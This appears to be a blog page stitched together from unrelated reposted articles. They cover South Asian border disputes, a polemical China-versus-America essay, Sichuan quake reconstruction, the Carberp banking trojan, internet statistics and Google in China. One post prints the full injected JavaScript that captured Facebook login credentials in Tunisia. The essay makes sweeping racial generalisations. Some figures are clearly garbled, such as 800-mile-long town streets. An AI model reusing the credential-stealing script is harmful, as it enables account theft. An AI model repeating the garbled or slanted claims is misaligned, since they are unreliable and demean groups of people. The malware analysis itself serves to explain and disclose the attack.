Indian, Pakistani And Chinese Border Disputes


Fantasy Frontiers

May 18th 2011, 12:25 by The Economist online  

Disputed borders are both a cause and a symptom of tensions between big neighbours in South Asia. When the colonial power, Britain, withdrew from India it left a dangerous legacy of carelessly or arbitrarily drawn borders. Tensions between India and China flare on occasion, especially along India's far north-eastern border, along the state of Arunachal Pradesh. In recent years Chinese officials have taken to calling part of the same area "South Tibet", to Indian fury, as that seems to imply a Chinese claim to the territory. A failure to agree the precise border, and then to demarcate it, ensures that future disagreements may flare again.

Pakistan, too, is beset by difficult borders. Afghanistan, to the north, has long been a hostile neighbour. This is largely because Afghanistan refuses to recognise the frontier—known as the Durand line—between the countries, drawn by the British.

Most contentious of all, however, are the borders in Kashmir, where Pakistan, India and China all have competing claims. By the time of independence, in 1947, it was clear that many Indian Muslims were determined to break off from Hindu-majority India. It fell to a British civil servant, who knew nothing of the region, to draw a line of partition between territory that would become Pakistan and India. Pakistan was given Muslim dominated areas in the far north west, plus territory in the east (which itself got independence as Bangladesh in 1971). The rulers of some disputed areas, notably Kashmir, were told to choose which country to join.

While Kashmir's Hindu rulers prevaricated, hoping somehow to become an independent country, Pakistan's leaders decided to force the issue. Since Kashmir was (and is) a Muslim majority territory, Pakistan felt justified in seeing Pushtun warlords charge in from the north-west of Pakistan, late in 1947, to seize control of Kashmir. In response India, apparently invited by Kashmir's rulers, deployed its national army and stopped the invaders taking Srinagar, Kashmir's capital, located in the Kashmir valley, the most coveted part of the territory. The resulting line of control, by and large, remains the de-facto international frontier within Kashmir and, in effect, is accepted by Paksitan and India. Huge numbers of Indian and Pakistani soldiers remain in Kashmir today as both countries profess to be the rightful authority for the rest of Kashmir.

Complicating matters, China has also extended its influence, and control, over portions of Kashmir, largely with the support of Pakistan, an ally.

The interactive map above allows you to view the various territorial claims from each country's perspective.



About Kashmir,From 1842 Until Today,The China All Previous Government Never Recognised That Ladakh Belongs To British-India .

China And America: Rising Dragon, Bleeding Eagle

American Thinker:China And America: Rising Dragon, Bleeding Eagle
China's return as a superpower concomitant with rapid American decline is evoking a variety of sentiments around the world.  While Latin America, Africa, and Greater Middle-East are largely welcoming this shift in power with varying degrees of enthusiasm, and an aging and dissipated Europe is watching it with bemused anxiety, in America it is causing an epic dilemma.

This dilemma is rooted in the impending demise of America's reign as the world's leading economy for last 120 years, the titanic scale and speed of China's ascendancy, and the vistas and vulnerabilities of Sino-American security and economic intercourse.  The international repercussions of this evolving strategic equilibrium are yet to fully unravel until China attains the highest plateau of its power.

To put it in context, consider how rapidly the balance of power between China and America has altered over the last 20 years. At the end of 1991 when Soviet Union had formally dissolved, United States stood as the sole colossus on global stage. Its economy was then 6 times that of China.  In 2010, China's continental economy was 70% that of US, and by 2016 -- in 5 years -- China (including Hong Kong and Macau) will rush past United States to become the leading economic power.

According to Robert Fogel, the Nobel Laureate in Economics, by 2040 China's economy will be $123 Trillion, three times US, as its per capita income gap with US shrinks rapidly.  Even at the peak of its power during early 1970s, Soviet Union's economy was only 44% that of US.  For China, a leading 4000 years old civilization, this complete reversal of relative fortunes in 50 years is nothing but a moment of rebirth towards reclaiming the historic leadership of Asia from the Atlantic powers.

Today, China is producing almost half of world's steel and cement for its massive construction projects, a sign of supreme industrial strength.  She brushed aside Germany to become the leading exporter in 2009 and last year toppled America to seize the gold medal in manufacturing.  In 4 years China will belt itself with 13,000 km of high-tech bullet trains, almost twice that of Europe and Japan combined, criss-crossing its vast expanse.

Everything the eagle did, the dragon will do on a scale several times larger and perhaps a bit faster, whether it is in the communications, transportation, energy, or aerospace sector.  At ~$3 Trillion, China has the world's largest forex reserves which it uses to finance acquisitions of energy and mineral resources across the globe.  Tragically, if we are to believe official US Treasury data, China is also the largest foreign creditor to the voracious US government, doling out almost $1.3 Trillion to feed Washington DC's cancerous growth.

The scale of demographic asymmetry between China and America is even more staggering.  In last the 50 years, the US added 130 million people, whereas China added 680 million -- equal to the entire population of Europe.  During last decade, US added 4 million babies per year on average, compared to 19 million per year for China.  Quite simply, China is giving birth to one Canada and Australia every three years.

Despite 33 years since the official declaration of one child policy, 1.35 billion Chinese still sustain a birth rate of 1.7-1.8 children per woman -- almost 80% over the stated goal -- compared to 2 children per woman for 310 million Americans.  This policy versus reality gap of 0.7-0.8 children per woman and massive over-population often escapes the international media's persistent and hysterical alarmism over China's one-child-policy and aging. [1]

From 2010 to 2030 the vast Chinese labor pool of ~1 billion working age adults (15-65 years) will drive China's enormous expansion and global resource consumption.  Today, the median age for both US and China is evenly matched at ~36 years.  The life expectancy for Chinese is ~74 years compared to ~79 years for Americans.  It is hard to imagine that by 2030 the proud average Chinese will not live longer and healthier than the sexually liberated, drugs, television, and fast foods saturated American.

China is also one of the most cohesive countries in the world.  Racially, almost 100% of China is Asian, with almost negligible white, black, or brown minorities.  In culture and ethnicity, Han Chinese constitute  roughly 90% of all China, while the unassimilated and rebellious Mongols, Uighurs, and Tibetans make-up less than 2%, although their homeland altogether is 40% of China's landmass.  China is more racially cohesive in 2011 than the US was in 1960 during Ike's Presidency, when almost 90% of all America was white.

In sharp contrast, America today is more racially fragmented then at any point in four centuries -- a tangle of squabbling minorities, as President Teddy Roosevelt ominously warned.  The triumph of cultural Marxism and the Great Society after 1965 cannot be overstated.  The birth rates for non-Hispanic whites rapidly plummeted during the 60s and have been chronically below 1.9 children per woman for more than 40 years.  According to 2010 census, non-Hispanic whites have shrunk to less than 65% of America.  With rapid and unabated racial and cultural fragmentation it is hard to believe tomorrow's America will be as single minded, vibrant, peaceful, and prosperous as it was until Reagan's Presidency.

Given such perilous social circumstances, the sharp contrast in policy and behavioral trends between China and America couldn't be more profound.  While China saves, invests, and builds, America borrows, squanders, and crumbles.  While China fosters and rewards meritocracy and excellence, Washington DC and complicit media systematically foment racial grievances, dictate affirmative action, racial quotas and gleefully reward and celebrate mediocrity.  While China proudly asserts and spreads its Confucian and Taoist heritage, Washington DC demonizes and criminalizes its rich European heritage and wallows in multi-culturalism.

China is tenaciously and patiently building its power by focusing inwardly, while Washington DC is rapidly bleeding and bankrupting America in futile wars and imperial hubris around the world.

To weigh the success of American policy, we must ask two revealing questions: Did the cultural, economic, and military power of America expand or diminish relative to its Pacific rival during last 20 years?  Was America able to facilitate contraction or containment of its future rival's capacities?

The sobering reality is that suicidal policy of technology transfer and "free" trade lured by murky promises of large marketplace as well as instruments of currency and wage arbitrage gutted American industry and sucked its economic vitality while China experienced unprecedented economic expansion.  Meanwhile unsustainable military presence in Korea, Japan, and Central and South-East Asia has neither enhanced American security nor curtailed China's massive military build-up.  Quite the opposite, it has been a horrendous burden on American society and economy.

Japan, India, and Russia, China's three largest neighbors have been either unwilling or unable to form joint security partnerships due to mutual suspicions fueled by American ground presence.  There has never been an Indo-Russian or Indo-Japanese military conflict, and Russo-Japanese conflicts have been less historically divisive and gruesome compared to Sino-Japanese, Sino-Indian and Sino-Russian wars.

A 5+1 security partnership involving Japan, India, Russia, South-Korea, and ASEAN with China will not only carry tremendous weight and strategic influence, it will offer a real possibility of institutionalized peace and stability in East and Central Asia in a China oriented framework.  A realistic re-appraisal of American capacity entails an off-shore balancing approach, where overwhelming American sea- and airborne nuclear and conventional deterrence coupled with purposeful diplomacy without ground presence in Asia will achieve solid and enduring Sino-American strategic equilibrium.

With $55 Trillion in debt, real unemployment close to 22%, 44 million people on food stamps, massive offshore outsourcing of jobs, a corrupting deluge of Chinese goods, and credit to feed debt afflicted consumption mania, and rapidly deteriorating infrastructure, the catastrophic tipping point is not far.  America urgently needs to reorient itself inwardly to repair, rebuild, and rescue its society, economy, and culture.  The decline and fall of the Romans and the British did not dissolve the Western Civilization and the Western World, but the decline and fall of America and certainly Europe might do just that.
Andy Maheshwari (PhD) specializes in Medical Biotechnology.  He has been published in the Massachusetts Institute of Technology's The-Tech during his Post-Doctoral Fellowship, in Canada Free Press and American Thinker 
[1]Here China is not the biggest offender. Birth rates in India, the Islamic World, and Sub-Saharan Africa are even more catastrophic at 2.8, ~3.5, and ~5 children respectively.
Long Is Totem Of The Chinese Nation , Has Been The Symbol Of Ancient China. And Different With Westen Lizard .


Chinese-Style Post-Disaster Reconstruction

  Chinese-Style Post-Disaster Reconstruction Presented by Changes of Chengdu
  In the south-west of China, 70 kilometers north from Chengdu urban area, there is a town named Bailu. During these days, it is full of festive atmosphere. This town, characterized with French-style, will be open on May 12. You will never know that this town suffered 8.0 earthquake three years ago and became a ruin if you were not there before.
  I went there not long after the earthquake. The scene was so horrible that I don't want to recall it until now. However, after only three years, a brand-new, traditional but also mixing French-style and exquisite town is presented to me. The speed of reconstruction and the high level of the result are really surprising. For more surprising, the great change of Bailu is not the only case but the universal one in Chengdu. I am really curious about the reasons of the Chengdu miracle and the experience of Chinese-style reconstruction.

Plan First, Developmental Style Reconstruction

  There are two 800-mile-long streets in the core district of Bailu town. In the south of it, there are full of French-style buildings, with the shape of ancient castle, high, pointed roof and arched windows; in the north, the buildings are in Chinese traditional style. "This is what we talk as the Chinese-French style," the local official Gao Tiancheng introduces, "Bailu town presents the reconstruction idea of China governments at all level. It makes full use of the town's both historical and natural resources. It considers not only the current requisition but also the sustainable development.
  Bailu town, with more than one thousand years history, enjoys agreeable climate and sound ecological environment. "Apart from the excellent natural conditions, the town possesses more than one hundred years of French culture origins," Gao Tiancheng observes. One hundred years ago, a French missionary came here and presided over the construction of three Catholic Colleges. One of them was still preserved well before the earthquake and became the landmark of the town and national cultural relic. Many couples getting married always choose it as the background of their wedding photos.
  The 8.0 earthquake occurred on May 12, 2008. This town, only 40 kilometers away from the epicenter, was ruined with lots of people injured and great loss of property.
  Reconstruction is the initial target after the tension relief. Governments at all levels decided to adopt the ideas and methods of the developmental reconstruction, rather than a simple recovery-type reconstruction.
  "Considering the natural conditions and the historical culture, we decided to reconstruct Bailu town as a high level tour town with Chinese-French style," says Gao Tiancheng. After the reconstruction, people in Bailu town are no longer only doing the mining, but mainly engage in tourism, wedding industry and diversified agriculture. They live a better life now.
  Over two years' reconstruction, the extent of Bailu's modernism, the level of its infrastructure and the living standard are totally different from the past. Gao says, "The Bailu that stands up from the ruin is like jumping at least over twenty years."
  There are 16 post-disaster towns more with featured squares, stylish streets and tasty decoration like Bailu. They all adopted "developmental reconstruction" idea. It is not a copy of the past, but makes great progresses in the characteristics, the industry structure and the living standard.

  Co-ordinate Urban and Rural, Use Urban Standard to Build Rural Areas

  It takes one hundred million dollars to reconstruct Bailu but where is the money from?
  "Our country gives us great support and the representation of it is the one to one assistant construction," says Gao Tiancheng.
  According to the national arrangement, the developed Fujian Province is the support for Pengzhou, Chengdu, which Bailu belongs to. The total amount of the support money reaches 500 hundred million dollars. Bailu broadcast station, schools, the administrative center and part of those permanent housing are all the result of the one to one assistant construction project. This kind of project is an innovation. It is reported that the Japanese government has sent specialists to China to learn about it.
  The Chinese government makes subsidies to every family for the rebuilding of the permanent housing. Governments at all level collect all kinds of donation to make allowance for every affected household so that they can afford the fees for rebuilding the houses.
  "Without the power of our country and the aid from the society, it would take us a long time to rebuild Bailu as the current one by ourselves," Gao Tiancheng says.

Respect Public Opinion, Happy People

  The smell of bread and coffee floats out from time to time in Bailu. Many of those residents that once engaged in mining and agriculture now turn into the bosses of bars, coffee shops, bakeries, wedding photography gallery and etc. The lifestyle of the town changes a lot.
  The fifty-five resident, He Shengcai, opened the first supermarket in the town after the earthquake. Currently, he and his family invest more than one million Yuan to build a hotel. He Shengcai even learns some simple English for better service for foreigners. He smiles and says, "Everyone in our town can speak at least ten English sentences."
  Yang Qingping, forty-four years old, once worked as miner, pork hawker, driver and some other professionals. Now he is engaged in tourism and owns a country hotel. This middle-aged man laughs a lot during our talks. Behind his name card, there is a poem that commends the new presentation of Bailu.
  Most people that live in Bailu and other post-disaster districts are now living a happy life like He Shengcai and Yang Qingping. During the past two years, while Chinese governments at all level doing the material reconstruction, they also pay much attention to the spiritual aspect. They rebuild the residents' confidence and cultivate the sense of civilization, self-reliance and thanksgiving through counseling, seminars and cultural and sports activities.
  The reconstruction of Chengdu after the earthquake promotes not only the material living standard but also people's cultural literacy.


3 Years After Quake, SiChuan Rises Again


BEIJING - Three years after a devastating earthquake, the worst-hit areas in Sichuan and neighboring provinces, phoenix-like, have risen from the rubble.

Ninety-five percent of reconstruction projects have been completed, with the remainder set to be finished by the end of September, Mu Hong, deputy director of the National Development and Reform Commission (NDRC), the top economic planning agency, said on Tuesday at a news briefing hosted by the State Council Information Office.

3 years after quake, Sichuan rises again

By the end of April, 885.15 billion yuan ($136 billion), or 92.37 percent of the overall reconstruction budget, had been spent, according to official figures from the NDRC.

In Sichuan alone, nearly 3,000 schools, 1,000 hospitals and more than 5 million homes have been built or renovated, according to Wei Hong, executive vice-governor of Sichuan province.

Mu said government goals for reconstruction have been basically met.

"Now every family has been provided a home and a job, and everyone is protected by social security. Infrastructure has been upgraded, the economy developed and ecology improved," he said.

The 8.0-magnitude earthquake jolted Wenchuan and surrounding areas on May 12, 2008, killing at least 87,000 people and leaving millions homeless. Neighboring provinces, such as Gansu and Shaanxi, were also affected.

Premier Wen Jiabao praised the rebuilding work on Monday at a meeting in Dujiangyan, Sichuan, at the conclusion of a three-day inspection tour.

3 years after quake, Sichuan rises again
Chinese Premier Wen Jiabao embraces Zheng Haiyang, a student at Beichuan Middle School in Sichuan province, during a visit on Sunday to the quake-hit county of Beichuan. Both of Zheng's legs were amputated after he was injured in the May 12, 2008 earthquake. [Yu Ping/China Daily]

He said there had been an improvement in people's livelihood compared with pre-quake levels, and progress had been made in social and economic development.

He recalled that on the 12th day after the quake, he had said: "A new Wenchuan will rise from the ruins."

On Monday, he saw his words had come true.

"Now incredible changes have taken place in the quake-hit areas, I feel very relieved," he said.

During the trip, his 10th to the province since the quake, he visited middle schools and neighborhoods.

Zhu Lihu, principal of Magong village primary school in Qingchuan county, told China Daily that teaching facilities had been upgraded.

The new two-story concrete building houses classrooms, a library and a computer room equipped with 20 PCs, "way much better" than the previous school, built in the 1960s with mud bricks.

The new school was financed by the city of Quzhou, Zhejiang province, in accordance with a State Council reconstruction plan. The plan links economically developed coastal regions with quake regions to help finance rebuilding projects.

Dong Xinjun, a resident in Qingchuan county's Qiaolou village, said volunteers from Zhejiang's Rui'an city taught him how to grow mushrooms and he earns about 3,000 yuan more annually than before.

Shaanxi Vice-Governor Jiang Zelin told the briefing the cities of Hanzhong and Baoji in the province, which were hit by the quake, had fully recovered, with farmers' annual income nearly double compared with three years ago.

Reconstruction in Shaanxi has created 260,000 jobs, Jiang added.

By Wang Huazhong (China Daily)



Beichuan quake victims mourned during Qingming Festival
People mourn for the deceased in the old town of Beichuan Qiang autonomous county, Southwest China's Sichuan province, April 4, 2011. During the Qingming Festival, or the Tomb-sweeping Day, people come to the old town of Beichuan to mourn for those dead in the 8-magnitude earthquake in 2008. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows Wenchuan, Southwest China's Sichuan province. Thursday this week will mark the third anniversary of the Wenchuan quake. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows Wenchuan, Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 10, 2011 shows Qingchuan county, Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 10, 2011 shows part of the rural area in Qingchuan county, Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows the rural area of Dujiangyan city in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows the rural area of Dujiangyan city in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows a scene in Wenchuan, Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on March 28, 2011 shows Beichuan county in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows Yingxiu town in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 24, 2011 shows Yingxiu town in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 10, 2011 shows part of the rural area in Southwest China's Sichuan province. [Photo/Xinhua]

Post-quake reconstruction projects in SW China
The bird's eye-view photo taken on April 10, 2011 shows part of the rural area in Southwest China's Sichuan province. [Photo/Xinhua]



The Code Injected To Steal Passwords In Tunisia

It's been floating around the net for weeks now, but I finally took a look at how someone in Tunisia (assumption is the government) was stealing usernames and passwords from common sites like Google Mail and Facebook.

The attack worked like this:

1. When a user visited a site like Facebook JavaScript would be injected into the page where the user types in their username and password. On Facebook these pages are served via HTTP and so the injection is possible if you can intercept at the ISP level. The actual username and password are sent via HTTPS but once the JavaScript is in there it's game over.

2. The login form itself is modified to include an onsubmit handler that calls the JavaScript function hAAAQ3d (which reads as hacked). That function reads the username and password and makes an HTTP call to a bogus page on Facebook. This page (named wo0dh3ad, which I think you can read was woodhead) has the username and password appended as parameters with some code to make them URL safe.

3. Someone, somewhere reads those URLs to extract the username and password. That could be done from a log file, or even a firewall could have been configured to filter these requests so that they would never reach Facebook.

I've pretty printed the code below. The major functions are hAAAQ3d (described above), r5t (generates a random string of characters which are added to the request URL used to send the username and password) and h6h (which I read as 'hash' which takes a username or password and converts it to a string of lowercase characters that can be safely transmitted in a URL).

There are helper functions inv0k(1,2,3) (which I read as 'invoke') which make the actual HTTP request. Two are used for different browser types and third is not used, but what it does is modify an injected image tag to get the same URL used to send the username/password.
function h6h(st)  {    var st2="";    for ( i = 0; i < st.length; i++ ) {      c = st.charCodeAt(i);      ch = (c & 0xF0) >> 4;      cl = c & 0x0F;      st2 = st2 + String.fromCharCode( ch + 97 ) +                   String.fromCharCode( cl + 97 );    }    return st2;  }    function r5t(len)  {    var st = "";    for ( i = 0; i < len; i++ )      st = st + String.fromCharCode( Math.floor( Math.random( 1 ) * 26 + 97 ) );     return st;  }    function hAAAQ3d()  {    var frm = document.getElementById( "login_form" );     var us3r = frm.email.value;     var pa55 = frm.pass.value;    var url = "http://www.facebook.com/wo0dh3ad?q=" + r5t( 5 ) +         "&u=" + h6h( us3r ) + "&p=" + h6h( pa55 );     var bnm = navigator.appName;     if ( bnm == 'Microsoft Internet Explorer' )      inv0k3(url);    else       inv0k2(url);  }    function inv0k1(url)   {    var objhq = document.getElementById("x6y7z8");     objhq.src = url;  }    function inv0k2(url)  {    var xr = new XMLHttpRequest();     xr.open("GET", url, false);     xr.send("");  }    function inv0k3(url)   {    var xr = new ActiveXObject('Microsoft.XMLHTTP');     xr.open("GET", url, false);     xr.send("");  }  

If you enjoyed this blog post, you might enjoy my travel book for people interested in science and technology: The Geek Atlas. Signed copies of The Geek Atlas are available.


Carberp Trojan Removes Antivirus Scanners, Other Malware from Host

The latest banking malware Carberp has gone through three versions since it came on the scene last year and continues to add on new features.

A piece of banking malware is evolving more sophisticated capabilities to stay hidden on victims' PCs, according to several security researchers.

The information-stealing malware Carberp, discovered last October, can steal a range of data, disguise itself as a legitimate Windows file and remove any antivirus software installed on the host, according to Seculert. As the latest banking malware to emerge, it has been changing very rapidly and adding on new features and capabilities, Seculert said.

Carberp is considered the next big banking threat, alongside SpyEye, especially since the new Trojan attack kit was becoming the weapon of choice over Zeus, TrustDefender said. Development for the Zeus Trojan, the well-known banking Trojan that may have stolen millions of dollars, appears to have stopped, and the code has been merged with SpyEye, various researchers said.

Carberp runs on all versions of Windows, including Windows 7, without needing administrator privileges, according to TrustDefender. It can register itself as a browser extension in order to constantly monitor all Web traffic, even the encrypted online banking traffic. It can inject rogue HTML code into Web pages that can steal data, Seculert said.

Carberp has gone through three generations, Jorge Mieres, a malware analyst at Kaspersky Lab, told eWEEK. The first versions of Carberp were very simple Trojan downloaders that downloaded other pieces of malware, Mieres said. Each succeeding version has added on sophisticated features.

The second generation incorporated features for managing a command and control Web-based botnet, Mieres said. Carberp is one of the "largest private botnets," he said. The kit also contained a small plug-in called "passw.plug," which is designed to steal information from more than 90 applications installed on the infected computer, he said.

The third and current generation added two new components that interfere with computers' security software. The "stopav.plug" disables the antivirus software already installed, and "miniav.plug" acts as a cleaner to remove other pieces of malware, Mieres said. Seculert said the miniav plug-in can remove well-known malware families including Zeus, BlackEnergy, Limbo and MyLoader.

Carberp does the cleaning to prevent other malware from interfering with its activities, according to Seculert.

The latest version of Carberp has updated how it communicates with a command-and control server. Like most advanced malware, including the highly sophisticated Zeus, previous versions encrypted that traffic using RC4 encryption and used the same encryption key all the time, Seculert wrote on the blog. This made things easier for security administrators because intrusion protection systems could analyze traffic and pick out possible packets using that key.

The developers have caught on, and now Carberp uses a randomized key that it registers with the control server. Since the malware uses a different key every time, it is harder to detect.

The update has also changed Carberp's target. The previous version targeted banks in the Netherlands and the United States. The latest version is targeting users in Russian-speaking markets.

Seculert said Carberp will likely incorporate links to a scanning service in future versions, similar to SpyEye and other attack kits.

Regardless of which version infected a computer, Carberp collected information about the host's operating system, browsers and antivirus, said Mieres. This gives attackers an idea of what kind of antivirus software they need to evade. Security researchers have long warned that malware developers run new samples through antivirus software to make sure it can't be detected before releasing them into the wild.

The other twist is that the collected statistics tell the malware authors what antivirus needs to be added to the "stopav.plug" so that Carberp can deactivate it, Seculert said.

The statistics gathered by the botnet, as analyzed by Seculert, showed Kaspersky Lab's antivirus software had a "74 percent use ratio."


USA Vs. China On The Internet


Arguably, there are currently only two superpowers on the planet: the United States and China. Now that the world is growing increasingly dependent on the Internet, how do these two giants stack up online?

We've taken a number of Internet-related metrics to compare the two countries, things like the number of Internet users, Internet penetration, the speed of Internet connections, the number of domain names, favorite websites, web browsers, operating systems and more.

Let's get started!

Internet users

Ten years ago, the United States was by far the largest country on the Internet. That is no longer the case. It's been pushed into second place by China, with quite some margin.

Together these two countries now make up over 33% of the Internet. China alone makes up 51% of the Asian Internet population.

Internet penetration

The United States has a huge lead over China when it comes to the actual Internet penetration, i.e. the share of its population that has access to the Internet.

An interesting note here is that China has a ton of room to grow, while the United States doesn't. To give you an idea: If China had the same Internet penetration as the United States, it would have over a billion Internet users.

Internet growth

When it comes to sheer growth, China has been on a tear for the past decade. Its Internet user base grew an incredible 1,767% between 2000 and 2010. The United States more than doubled its Internet population in the same time, but needless to say, wasn't able to reach those levels of growth. This can be partly explained by the head start the United States already had (a decade ago it was much larger than any other country on the Internet), but China's growth has nonetheless been spectacular, and doesn't seem to be slowing down.

In this context, a look back in time is relevant. The United States had 95 million Internet users back in 2000, and now it has 239 million. China, on the other hand, has gone from just over 22 million to 420 million Internet users in the same period of time.

Internet connection speeds

In this area, the United States is far ahead of China. The average connection speed is five times faster in the United States compared with China, indicating that fast broadband connections are in much wider use.

The reason for this difference is clear when you see how connection speeds are distributed. In the United States, 34% of Internet connections are faster than 5 Mbit/s, while in China, only 0.4% are faster than that.

Internet hosts

In terms of servers connected to the Internet, serving content, the United States is way ahead of China. This is not surprising. It should be. The United States has been the leading web hosting nation from the start, and still is. Even people and companies not living in the United States host their websites there.

Yes, these numbers (from the CIA World Factbook) do indeed show that there are 28 times as many Internet hosts (machines) in the United States as there are in China. We're not sure what methodology was used to collect this data, though, and it may have been affected by China's careful control of Internet traffic. The US number should be large, though, and the country does have a huge hosting infrastructure, so it's not entirely implausible.

Top search engine

Google never really managed to land the number one spot in China, and now, with Google having largely stepped back from that market, that will remain the case for the foreseeable future. Instead, China's local search engine of choice is Baidu, which got its start back in 2000. It's essentially the "Chinese Google."

Top websites

The top websites in the United States are all very familiar to the vast majority of the Internet users in the world. It's not until you look at the top sites for China that you realize that there are huge Chinese counterparts that are not necessarily big anywhere but in China. But on the other hand, with such a huge Internet population in China (not to mention the Chinese-speaking population outside of China), these services can blossom in that market.

Top 5 websites in the United States:

  1. Google.com
  2. Facebook.com
  3. Yahoo.com
  4. Youtube.com
  5. Amazon.com

Top 5 websites in China:

  1. Baidu.com (search engine)
  2. QQ.com (online community)
  3. Sina.com.cn (web portal)
  4. Taobao.com ("China's eBay")
  5. Google.com.hk (Google Hong Kong)

Facebook currently has no chance in China thanks to being blocked. Google's Chinese (.cn) site is practically closed, but as you can see, its Hong Kong version is still heavily used, enough to land it in the top 5. The fact that Google.cn will redirect users to Google.com.hk surely helps with that.

In general, the so-called Great Firewall of China has created a somewhat on/off relationship with international sites in China. Either you're allowed in (and play by the rules), or you're not. There is very little in between. That's not to discount the success of the Chinese alternatives that currently lead the way in China, it's just a general observation. It's a very different market.

Top web browsers

China still has a huge amount of Internet users accessing the Internet with the dinosaur IE 6, which can be a bit confusing when you consider that there are so many free alternatives available (newer versions of IE, Firefox or Chrome, for example). Part of the explanation is available further down under operating systems, and it's spelled "Windows XP" (which has IE 6 as its default browser).

Top 5 web browsers in the United States:

  1. Internet Explorer, 47.5%
  2. Firefox, 25.5%
  3. Chrome, 14.6%
  4. Safari, 11.2%
  5. Opera, 0.6%

Top 5 web browsers in China:

  1. Internet Explorer, 87.4%
  2. Chrome, 4.4%
  3. Maxthon, 3.8%
  4. Firefox, 3.3%
  5. Safari, 0.6%

Top web browser version:

  • United States: Internet Explorer 8.0, 33.9%
  • China: Internet Explorer 6.0, 41.1%

Top operating systems

We reported the other week that Windows 7 had finally overtaken Windows XP in the United States and is now the most popular OS in the country. However, the situation is very different in China, where Windows XP still has a huge lead. In China, approximately 4 out of 5 computers run Windows XP.

Top 5 operating systems in the United States:

  1. Windows 7, 32.1%
  2. Windows XP, 31.1%
  3. Windows Vista, 19.1%
  4. Mac OS X, 14.9%
  5. iOS (iPad), 1.2%

Note also that iPad's iOS has managed to sneak into the top 5 in the United States. (This stat doesn't include iOS on iPhone or iPod Touch.)

Top 5 operating systems in China:

  1. Windows XP, 82.2%
  2. Windows 7, 13.8%
  3. Windows Vista, 2.7%
  4. Mac OS X, 0.5%
  5. Windows 2003, 0.3%

We should point out that these numbers (from Statcounter) are based on Web usage, so they represent computers connected to the Internet, surfing the Web. Very relevant for this survey, in other words.

Domain names

When it comes to domain names, the stats that are usually available are for domain names categorized by country of purchase, not necessarily the country of the purchaser. This means that the United States will be overrepresented since it's a popular place to register domain names (thanks to the strong US hosting and domain industry).

With that in mind, here are the numbers for generic top-level domain names (gTLDs).

Then we have the country code top-level domain names (ccTLDs), .us for the United States and .cn for China. Something to keep in mind here is that .us hasn't really been able to establish itself very well in the United States. Instead, .com has dominated, leaving the growth of .us somewhat stunted.

Global share of attack traffic

With "attack traffic," we mean traffic of a malicious nature, for example attempts to gain access to a computer via various ports, exploiting weaknesses in the OS, etc. This includes so-called port scanning to find potential openings. The United States has the dubious honor of being the number one source of attack traffic in the world. China is third (after Russia).


So, what's the score once we've gone through all of this? A few takeaways:

  • China's Internet user base is bigger, much bigger (1.76x that of the United States).
  • The US Internet infrastructure is still way ahead of China's, at least for end users.
  • China has much more potential for growth in spite of already being the largest country on the Internet.
  • China's Internet users run older versions of software than the US Internet users are, at least when it comes to operating systems and web browsers.
  • The strong hosting industry in the United States keeps the nation ahead, especially since Internet users from all over the world use its services. (One might ask how long that will last, though.)

So while the United States still has a technological lead in many ways, it's already been passed by China in terms of people on the Internet, and will continue to fall behind in that department. It's simple math. China has a much larger population, a much lower Internet penetration, and thus has plenty of room to grow. We've examined this potential in the past, especially in view of how much the balance changed on the Internet between 2000 and 2010.

Hopefully the world doesn't end in 2012, because we'd love to look back at this post a few years from now and see how things have changed. How large and powerful will China get? Will the United States be able to keep its strong position on the Internet? As they say in the movies: To be continued…

Data sources: Internet user numbers from Internet World Stats. Internet connection speeds and attack traffic from Akamai's State of the Internet Report Q3 2010. Web browser and OS stats from Statcounter. Top sites from Alexa. Internet hosts from the CIA World Factbook.



Inside Google's China Misfortune


The problems that Google faced while establishing its foothold in China would shake the very foundations of the company and its "Don't be evil" operating ethos. A look at Google's past five years in China -- and where it went wrong along the way.

By Steven Levy, guest contributor

Viewing the July 22, 2009, solar eclipse with Google goggles

Viewing the July 22, 2009, solar eclipse with Google goggles

FORTUNE -- Plans for Google.cn were well under way by May 7, 2005, when an unexpected e-mail arrived in the in-box of Eric Schmidt. It was from a computer scientist and executive at Microsoft named Kai-Fu Lee. "I have heard that Google is starting an effort in China," he wrote. "I thought I'd let you know that if Google has great ambitions for China, I would be interested in having a discussion with you." Kai-Fu Lee was a celebrated computer scientist -- he'd worked for Apple previously -- who had become a phenomenon in China. Lee, who had grown up in Taiwan and gotten his Ph.D. at Carnegie Mellon, was the embodiment of the "sea turtle" -- an Asian-born engineer whose success in America was a prelude to a homecoming that allowed him to contribute to China's drive to the pinnacle of the world economy. Lee was perhaps the most famous of all sea turtles. Hundreds of thousands of people went to his website and wrote to him for advice, as if he were a combination of Warren Buffett, Bill Gates, and Abigail Van Buren. Google immediately recognized how Kai-Fu Lee could accelerate its plans to make a mark in China. "I all but insist that we pull out all the stops and pursue him like wolves," senior vice president Jonathan Rosenberg wrote to his fellow executives. So Lee flew to meet with Google founders Sergey Brin and Larry Page in Mountain View, Calif., on May 27, 2005. The session was a lovefest. Lee was startled when Sergey, who had arrived by skateboard, asked him, "Do you mind if I stretch?" and then did body motions on the floor while asking questions. As they left, Lee overheard one say to the other, "People like Kai-Fu don't grow on trees." When Lee returned to Seattle, he was greeted by a huge box of Google swag, including a basketball, a chair, and a coin-operated gumball machine with a Google logo.

